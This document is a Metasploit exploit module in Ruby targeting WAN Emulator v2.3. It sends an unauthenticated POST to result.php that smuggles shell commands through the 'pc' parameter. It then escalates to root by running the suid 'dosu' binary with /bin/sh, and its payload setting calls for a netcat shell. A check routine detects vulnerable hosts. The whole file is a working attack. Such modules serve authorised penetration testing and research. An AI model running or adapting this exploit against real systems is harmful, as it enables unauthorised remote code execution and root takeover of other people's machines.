WAN Emulator v2.3 Command Execution

##
# This file is part of the Metasploit Framework and may be subject to
# redistribution and commercial restrictions. Please see the Metasploit
# web site for more information on licensing and terms of use.
#   http://metasploit.com/
##

require 'msf/core'

class Metasploit3 < Msf::Exploit::Remote
 Rank = ExcellentRanking

 include Msf::Exploit::Remote::HttpClient

 def initialize(info = {})
  super(update_info(info,
   'Name'           => 'WAN Emulator v2.3 Command Execution',
   'Description'    => %q{
    This module exploits a command execution vulnerability in WAN Emulator
    version 2.3 which can be abused to allow unauthenticated users to execute
    arbitrary commands under the context of the 'www-data' user.
    The 'result.php' script calls shell_exec() with user controlled data
    from the 'pc' parameter. This module also exploits a command execution
    vulnerability to gain root privileges. The 'dosu' binary is suid 'root'
    and vulnerable to command execution in argument one.
   },
   'License'        => MSF_LICENSE,
   'Version'        => '$Revision: 1 $',
   'Privileged'     => true,
   'Platform'       => 'unix',
   'Arch'           => ARCH_CMD,
   'Author'         =>
    [
     'Brendan Coles <bcoles[at]gmail.com>', # Discovery and exploit
    ],
   'References'     =>
    [
     ['URL', 'http://itsecuritysolutions.org/2012-08-12-wanem-v2.3-multiple-vulnerabilities/']
     #['OSVDB', ''],
     #['EDB',   ''],
    ],
   'Payload'        =>
    {
     'Space'       => 1024,
     'BadChars'    => "\x00",
     'DisableNops' => true,
     'Compat'      =>
      {
       'PayloadType' => 'cmd',
       'RequiredCmd' => 'generic netcat-e',
      }
    },
   'DefaultOptions' =>
    {
     'ExitFunction' => 'none'
    },
   'Targets'        =>
    [
     ['Automatic Targeting', { 'auto' => true }]
    ],
   'DefaultTarget'  => 0,
   'DisclosureDate' => 'Aug 12 2012'
  ))
 end

 def on_new_session(client)
  client.shell_command_token("/UNIONFS/home/perc/dosu /bin/sh")
 end

 def check

  res   = send_request_cgi({
   'method' => 'GET',
   'uri'    => '/WANem/result.php'
  })
  if res and res.body =~ /<br><br><br><b><font color=red>Can't measure\!\! Please repeat\.<\/font><\/b><\/body>/
   return Exploit::CheckCode::Appears
  else
   return Exploit::CheckCode::Safe
  end

 end

 def exploit

  @peer = "#{rhost}:#{rport}"
  data  = "pc=127.0.0.1; "
  data << URI.encode(payload.raw)
  data << "%26"
  print_status("#{@peer} - Sending payload (#{payload.raw.length} bytes)")
  begin
   res = send_request_cgi({
    'uri'    => '/WANem/result.php',
    'method' => 'POST',
    'data'   => data
   }, 25)
  rescue ::Rex::ConnectionRefused, ::Rex::HostUnreachable, ::Rex::ConnectionTimeout
   print_error("#{@peer} - Connection failed")
  end
  if res and res.code == 200
   print_good("#{@peer} - Payload sent successfully")
  else
   print_error("#{@peer} - Sending payload failed")
  end
 end

end